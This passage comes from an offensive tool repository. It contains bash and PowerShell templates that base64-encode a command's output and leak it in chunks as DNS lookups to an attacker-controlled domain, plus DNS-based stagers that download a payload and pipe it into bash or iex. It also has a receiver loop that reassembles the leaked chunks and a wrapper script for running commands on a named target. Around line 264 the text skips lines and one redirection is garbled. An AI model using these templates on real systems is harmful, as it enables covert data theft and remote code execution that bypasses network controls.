202 | [[ -t 0 ]] && printf "${RED}NS DNS data are expected through stdin, check usage examples${NC}\n"
203 |
204 | ##########END OF ARGUMENT PROCESSING#############
205 |
206 | ##########sh definitions#######
207 | assign sh outer_cmd_template 'sh -c $@|base64${IFS}-d|sh . echo %CMD_B64%'
208 |
209 | assign sh stager_dns_cmd 'dig +short %host%'
210 | assign sh stager_host '$(cat).%UNIQUE_DNS_HOST%'
211 | assign sh stager_template '(seq %ITERATIONS%|%STAGER_DNS_CMD%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash'
212 |
213 | assign sh inner_cmd_template "(${cmd})|base64 -w0|echo \$(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|nl|awk '{printf \"%s.%s%s\n\",\$2,\$1,\"%UNIQUE_DNS_HOST%\"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%"
214 | [[ $strict_label_charset -eq 1 ]] && {
215 | assign sh inner_cmd_template "(${cmd})|base64 -w0|echo \$(cat)--|sed 's_+_-1_g; s_/_-2_g; s_=_-3_g'|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|nl|awk '{printf \"%s.%s%s\n\",\$2,\$1,\"%UNIQUE_DNS_HOST%\"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%"
216 | }
217 | #assign bash inner_cmd_template "(${cmd})|base64 -w0|echo \$(cat)--|sed 's_+_-1_g; s_/_-2_g; s_=_-3_g'|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|nl|awk '{printf \"%s.%s%s\n\",\$2,\$1,\"%UNIQUE_DNS_HOST%\"}'|xargs -n1 bash -c '%DNS_TRIGGER% \$1&[[ \$(($(date +%N)/100000%5)) -eq 0 ]] && wait or sleep' ."
218 |
219 | ##########bash definitions#######
220 | assign bash outer_cmd_template 'bash -c {echo,%CMD_B64%}|{base64,-d}|bash'
221 |
222 | assign bash stager_dns_cmd 'dig +short %host%'
223 | assign bash stager_host '$(cat).%UNIQUE_DNS_HOST%'
224 | #assign bash stager_template 'while [[ ${a[*]} != "4 4 4 4" ]];do ((i++));printf %s "$c";IFS=. read -a a < <(%S_DNS_TRIGGER% $i.%UNIQUE_DNS_HOST%);c=$(printf %02x ${a[*]}|xxd -r -p);done|bash'
225 | assign bash stager_template '(seq %ITERATIONS%|%STAGER_DNS_CMD%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash'
226 |
227 | assign bash inner_cmd_template "(${cmd})|base64 -w0|echo \$(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|nl|awk '{printf \"%s.%s%s\n\",\$2,\$1,\"%UNIQUE_DNS_HOST%\"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%"
228 | [[ $strict_label_charset -eq 1 ]] && {
229 | assign bash inner_cmd_template "(${cmd})|base64 -w0|echo \$(cat)--|sed 's_+_-1_g; s_/_-2_g; s_=_-3_g'|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|nl|awk '{printf \"%s.%s%s\n\",\$2,\$1,\"%UNIQUE_DNS_HOST%\"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%"
230 | }
231 | #assign bash inner_cmd_template "(${cmd})|base64 -w0|echo \$(cat)--|sed 's_+_-1_g; s_/_-2_g; s_=_-3_g'|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|nl|awk '{printf \"%s.%s%s\n\",\$2,\$1,\"%UNIQUE_DNS_HOST%\"}'|xargs -n1 bash -c '%DNS_TRIGGER% \$1&[[ \$((RANDOM%10)) -eq 0 ]] && wait or sleep' ."
232 |
233 | ###########powershell definitions########
234 | assign powershell outer_cmd_template "powershell -enc %CMD_B64%"
235 |
236 | #assign powershell stager_dns_cmd "(nslookup -type=a %host%).split(' ')[-2]" #nslookup makes an additional ptr request trying to identify the name of the ns. make sure the ptr record exists otherwise it would be too slow. It drops the stager size to ~350 though
237 | assign powershell stager_dns_cmd 'Resolve-DnsName -ty a %host%|? Section -eq Answer|Select -Exp IPAddress'
238 | assign powershell stager_host '"${_}.%UNIQUE_DNS_HOST%"'
239 | assign powershell stager_template 'iex((1..%ITERATIONS%|%{%STAGER_DNS_CMD%|%{$_.split(".")|%{[char][int]$_}}}) -join "")'
240 |
241 | #since powershell v7, we can add -Parallel and throttleLimit as parameters to foreach for multi process/threading extraction
242 | #we cant really depend on it, for now serialized
243 | #assign powershell inner_cmd_template "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd})))+'--' -split '(.{1,%CHUNK_SIZE%})'|?{\$_}|%{\$i+=1;%DNS_TRIGGER% \$('{0}{1}{2}' -f (\$_ -replace '(.{1,%LABEL_SIZE%})','\$1.'),\$i,'%UNIQUE_DNS_HOST%')}"
244 | #[[ $strict_label_charset -eq 1 ]] && {
245 | # assign powershell inner_cmd_template "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd})))+'--' -replace '\+','-1' -replace '/','-2' -replace '=','-3' -split '(.{1,%CHUNK_SIZE%})'|?{\$_}|%{\$i+=1;%DNS_TRIGGER% \$('{0}{1}{2}' -f (\$_ -replace '(.{1,%LABEL_SIZE%})','\$1.'),\$i,'%UNIQUE_DNS_HOST%')}"
246 | #}
247 |
248 | assign powershell inner_cmd_template "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd})))+'--' -split '(.{1,%CHUNK_SIZE%})'|?{\$_}|%{\$i+=1;if((get-job).length -eq %THREADS%){get-job|wait-job -Any};remove-job -state Completed;start-job -scriptblock {param(\$s,\$i) %DNS_TRIGGER% \$('{0}{1}{2}' -f (\$s -replace '(.{1,%LABEL_SIZE%})','\$1.'),\$i,'%UNIQUE_DNS_HOST%')} -arg \$_,\$i};Get-Job|Wait-Job"
249 | [[ $strict_label_charset -eq 1 ]] && {
250 | assign powershell inner_cmd_template "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd})))+'--' -replace '\+','-1' -replace '/','-2' -replace '=','-3' -split '(.{1,%CHUNK_SIZE%})'|?{\$_}|%{\$i+=1;if((get-job).length -eq %THREADS%){get-job|wait-job -Any};remove-job -state Completed;start-job -scriptblock {param(\$s,\$i) %DNS_TRIGGER% \$('{0}{1}{2}' -f (\$s -replace '(.{1,%LABEL_SIZE%})','\$1.'),\$i,'%UNIQUE_DNS_HOST%')} -arg \$_,\$i};Get-Job|Wait-Job"
251 | }
252 |
253 |
254 | #######end of definitions###########
255 |
256 | #definitions sanity check
257 | vars=(outer_cmd_template inner_cmd_template)
258 | for var in "${vars[@]}"; do
259 | [[ -z ${!var} ]] && echo "Undeclared var: $var" && exit
260 | done
261 |
262 | #####MAIN###########
263 | exec {dns_data_fd}<&0
264 | exec 0/dev/null 2>&1 &
313 |
314 | nchunks=-1
315 | postfix="$unique_dns_host"
316 | all_chunks=()
317 | last_valid_time=$SECONDS
318 | while :;do
319 | read -t $timeout -u "$dns_data_fd" -r line || break
320 | [[ $((SECONDS-last_valid_time)) -gt $timeout ]] && break
321 | if [[ $line == *"${postfix}"* ]]; then
322 | last_valid_time=$SECONDS
323 |
324 | full_dns_req=$(echo "$line"|grep -Eo "[^ ]+${postfix}")
325 | debug_print "full_dns_req=$full_dns_req"
326 |
327 | all_data=${full_dns_req%${postfix}}
328 | index=${all_data##*.}
329 | chunk=$(printf %s "${all_data%.*}" | tr -d '.')
330 | debug_print "index=$index chunk=$chunk"
331 |
332 | [[ ${#chunk} -ne $((nlabels*label_size)) ]] && nchunks=$index
333 | [[ $chunk == *-- ]] && nchunks=$index
334 | [[ $chunk == - ]] && nchunks=$index
335 |
336 | all_chunks[$index]=$chunk
337 | [[ ${#all_chunks[@]} -eq $nchunks ]] && break
338 |
339 | printf "\rReceived chunks: ${#all_chunks[@]}"
340 | fi
341 | done && echo
342 |
343 | (IFS=;echo "${all_chunks[*]}")|strict_translator -d|b64 -d>>"${outfile}"
344 |
345 | [[ ! ${#all_chunks[@]} -eq $nchunks ]] && printf "\n${RED}Missing chunks: try increasing timeout${NC}"
--------------------------------------------------------------------------------
/wrapper_targetX.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #an optional helper script you can setup for a specific target that would allow
4 | #the execution of commands on that target just by running: ./wrapper_targetX.sh ls -lh
5 |
6 | cmd_prefix="ssh yourns 'stdbuf -oL tcpdump --immediate -l -i any udp port 53'|"
7 |
8 | use_full_script=1 #chunked=0 full=!0
9 | dns_host=yourdns.host
10 | dns_trigger="dig @debug_server"
11 | dispatcher=path/to/dispatcher
12 | target_shell=powershell
13 |
14 |
15 | #######staged params#######
16 | #nsconfig=path/to/nsconfig
17 | #stager_dns_cmd='Resolve-DnsName -Server debug_server -Name %host% -ty a|? Section -eq Answer|Select -Exp IPAddress'
18 | ######end of staged params#######
19 |
20 |
21 |
22 | scr=./procroustes_full.sh
23 | [[ $use_full_script -eq 0 ]] && scr=./procroustes_chunked.sh
24 |
25 | #[[ -z $dns_host_ns ]] && dns_host_ns=$(dig +trace +time=3 +tries=1 ns $dns_host|grep d.b8.ee|grep NS|tail -n1|awk '{print $5}')
26 |
27 |
28 | #prefix with e_ to have the output escaped
29 | for var in "${!e_@}";do
30 | declare -n tmp="$var"
31 | tmp=$(printf %q "$tmp")
32 | done
33 |
34 | params=""
35 | params="${params} -h '$dns_host'"
36 | params="${params} -d '$dns_trigger'"
37 | params="${params} -x '$dispatcher'"
38 | params="${params} -w '$target_shell'"
39 | [[ ! -z $nsconfig ]] && params="${params} -z '$nsconfig'"
40 | [[ ! -z $stager_dns_cmd ]] && params="${params} -k '$stager_dns_cmd'"
41 |
42 | printf '%s%s%s -- %q' "$cmd_prefix" "$scr" "$params" "$*"
--------------------------------------------------------------------------------